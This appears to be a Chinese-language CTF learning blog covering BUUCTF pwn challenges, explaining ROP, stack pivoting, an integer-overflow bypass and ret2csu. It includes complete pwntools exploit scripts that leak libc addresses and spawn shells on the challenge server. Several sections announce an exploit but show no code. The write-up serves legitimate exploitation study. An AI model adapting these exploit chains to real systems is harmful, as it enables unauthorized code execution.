buu——pwn学习
十、铁人三项(第五赛区)_2018_rop
checksec一下,开启了nx保护,然后拖入ida
呃。。。应该就是比较熟悉的rop的构建了,直接上exp吧,这类题目做挺多的了:
十一、gyctf_2020_borrowstack
先做下这题,一直想完整的了解栈迁移,借着这题真正的掌握栈迁移的手法和知识点吧,先checksec一下,再拖入ida分析
里面很简单,没有什么复杂的函数,很适合借此了解栈迁移!首先read函数读取的字节数不够,只能够刚好覆盖返回地址。第二输入点的位置是bss段上,不是栈。所以这时候就是要把栈迁移到这里,因为在这里我们可以有足够的输入构建系统函数调用shell
这题太坑了!!!!!!!!!!!!!首先,你如果使用了system函数调用/bin/sh,这时候无论你选择哪个版本的libc都无法成功获取shell!网上的师傅们好像也是这样,原因都只是模糊的说猜测是因为栈迁移的位置太靠近一些重要数据,可能还是影响到了什么东西。都采取了one_gadget的办法,这里我同样踩坑!
师傅们都是泄露出puts的got表地址,去查询出libc版本然后下载,然而我很惊奇的发现,我泄露的地址查询不到对应的libc版本。。。所以这里的exceve函数地址我是直接把师傅们的搬运过来了0x4526a
以及,栈迁移的发送函数,只能选择send。(别问为什么,我选择的是sendline。。。一直出问题,甚至为了找问题,我每个与师傅们wp不同地方慢慢改,发现竟然是这个原因,只能怪自己粗心吧,猜测是这里的read读取过于严格,所有输入数据都是刚好,多输入了一个\n导致了问题的发生,下次一定注意!)还有就是距离重要数据太近这点,前面的ret执行多次就是为了避免这个,因为bss段距离.got.plt太近了,并且跳转回main函数的时候,还会进行一次巨大的升栈,所以的话执行多次ret把栈的位置往bss段的高地址处迁移
其他的话,wp如下:
十二、bjdctf_2020_babyrop
例行checksec一下,然后运行一下。开启了nx和部分relro缓解机制。运行的结果也不能看出些什么,进入ida看看吧
在一个函数里面有着很明显的溢出点,足够我们覆盖返回地址并且构造系统函数了。一道常规的rop,就不多说了,已经做烂了。。
exp如下:
十三、others_shellcode
例行checksec以及执行附件,开启了nx,pie以及部分relro。运行附件发现直接就获取了shell。。
然后我试着nc一下远程,看看是不是也能获取shell,没想到。。确实可以
查看ida,发现附件中是已经调用了execve函数
十四、pwn2_sctf_2016
例行checksec并且运行,只开启nx和部分的relro,拖入ida查看一下代码
程序比较简单,可以很明确的发现,不存在后门函数,也没有明显的溢出点,被限制了。printf也没有问题,对于这样的情况,我第一时间是想到了整数溢出,通过整数溢出来越过检查,通过小数变成大数,从而溢出。
接下来讲下漏洞点:main函数里面定义的v2是int类型的,而在get_n里面却是unsigned的,这里如果我们输入了一个负数,那么在get_n里面将变得非常大,足够我们溢出了。
但是没有后门函数,所以只能进行rop了,用printf函数泄露got表地址,LibcSearcher一下,最终构造sys函数获取shell。网上师傅们都取了格式化参数,其实没必要的,本身printf存在着格式化字符串漏洞,所以可以直接printf出来,没必要再输入一个格式化参数。这里有个坑的地方,好吧,是我傻得踩到了还一直没看出来。get_n里面的getchar里面已经对0截断了,所以在第二次构造payload的时候,不可以像往常那样顺手写个p32(0),后面感觉不对劲,我给他顺手改成了个p32(1)。。。。有点傻。。这个后面三个字节仍然是0,依旧截断了。写出来警示一下大伙,多注意点细节。
对了,libc找出来有15个,你可以知道我有多绝望了,一个个试了,竟然都不行,而且还是两遍!!!
exp如下:
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25066)
elf=ELF('./1')
context.log_level='debug'
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
p.sendlineafter('read?','-1')
payload='a'*(0x2c+0x4)+p32(printf_plt)+p32(main)+p32(printf_got)
p.sendlineafter('data!\n',payload)
p.recvline() #接收最后的printf,让程序流执行完
printf_addr=u32(p.recv(4))
log.info("printf address:"+hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.sendlineafter('read?','-1')
payload='a'*(0x2c+0x4)+p32(system)+'beef'+p32(binsh) #beef!!!!!
p.sendlineafter('data!\n',payload)
p.interactive()
十五、ciscn_2019_s_3
常规执行checksec一下,查看保护,并且执行一下程序,看看回显
出现了一堆乱码,可能是地址泄露了?进入ida看看情况如何
main函数里面很简单,两个系统调用就没了,而有系统调用,那就去看看汇编代码。汇编代码前两行要注意,这里的rsp没有减少,在这题里面rsp=rbp了,后面计算偏移不可以把rbp覆盖了。左边的函数栏看一下,有个gadget的,进入查看
很显然,这里面给出了两个调用号,0F和3BH,对应着这题两种解法,我们先介绍使用3BH调用号调用execve函数的解法,稍后再介绍另一种。
解法一
execve(“/bin/sh”,0,0)总共有三个参数,所以我们需要控制rdi,rsi,rdx三个寄存器的值,很显然,这是return to libc_csu_init。rsi和rdx的值很好控制,设置为0即可,而/bin/sh字符串则需要我们去寻找了,我们只有一个输入点,就是往栈上面输入/bin/sh,然后通过泄露栈的地址而得到该地址,从而把地址给rdi,最后再调用syscall函数,即可获取shell。
而write函数会输出栈上0x30个内存单元内容,通过调试,可以知道0x20位置处会泄露出一个栈上的地址,我们只需要计算该地址到/bin/sh的偏差,就可以获取/bin/sh的地址
上图是我在本地调试的情况,0x7ffcaba65838是泄露出来的地址,可是扣去0x7ffcaba656f0得到的却是0x148,而我去网上找师傅们的wp是0x138,不太懂为什么。所以我只能本地获取到了shell,但是远程不能过了。
获取到了/bin/sh的地址,后面就是构造rop链了。
这边csu里面的edi是有问题的,因为/bin/sh的地址是不止4个字节,所以edi是不够盛放的,所以我们需要rdi才行,这边使用了ROPgadget去寻找。所以后面payload构造rop时,这边还需要利用r12盛放栈上的内容进行跳转到栈上继续执行,而不能直接就在r12里面存放syscall地址进行直接调用。
exp如下:
#!usr/bin/env python
#coding=utf-8
from pwn import *
#p=remote('node3.buuoj.cn',25007)
p=process('./1')
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
syscall=0x400517
execve=0x4004e2
pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059a
rdx_edi_rsi=0x400580
offset=0x138
pop_rdi=0x4005a3
payload="/bin/sh\x00"*2+p64(main)
p.send(payload)
p.recv(0x20)
leak=u64(p.recv(8))
binsh=leak-offset
print hex(leak)
print hex(binsh)
gdb.attach(p,'b *main')
payload="/bin/sh\x00"*2
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload+=p64(0)+p64(0)+p64(binsh+0x50)+p64(0)+p64(0)+p64(0)
payload+=p64(rdx_edi_rsi)+p64(execve) #p64(execve)在栈上距离/bin/sh有0x50的长度
payload+=p64(pop_rdi)+p64(binsh)+p64(syscall)
p.send(payload)
p.interactive()
解法二
后面有缘再更新吧,,,,
十六、ciscn_2019_es_2
常规checksec查看保护措施
程序只开启了NX,应该是道较为简单的题目,进入ida看看情况
这里总共输入了两次数据,同时还能printf出来,可能会泄露一些重要地址信息。这里的read函数全部被限制到只够刚好覆盖到返回地址就不能再继续填充了,所以这里是用了栈迁移的思想,把栈迁移到栈上,制造一个假栈。
栈迁移利用leave 和ret指令改变ebp和esp的指向位置,所以要先得到要迁移的地址,也就是s位置,这边泄露ebp的值,从而计算两者偏差
最顶上0xfffcd65就是s的位置,而0xffcd678就是ebp指向的位置,而在该地址处的内容为0xfffcd688就是我们泄露出来的内容,与s偏差为0x38
而系统函数附件中已经有了system的调用,差的就只有/bin/sh的字符串了,我们可以直接写在栈上,然后仍然是用泄露出来的地址算出/bin/sh地址,作为参数即可
exp如下:
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27262)
#p=process('./1')
system=0x8048400
leave_ret=0x80484b8
context(os='linux',arch='i386',log_level='debug')
payload='a'*0x20+'bbbbbbbb'
p.recvline()
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp=u32(p.recv(4))
print hex(ebp)
s_buf=ebp-0x38
p.recvline()
payload='bbbb'+p32(system)+'dead'+p32(ebp-0x28)+'/bin/sh\x00'+'a'*0x10+p32(s_buf)+p32(leave_ret)
p.send(payload)
p.interactive()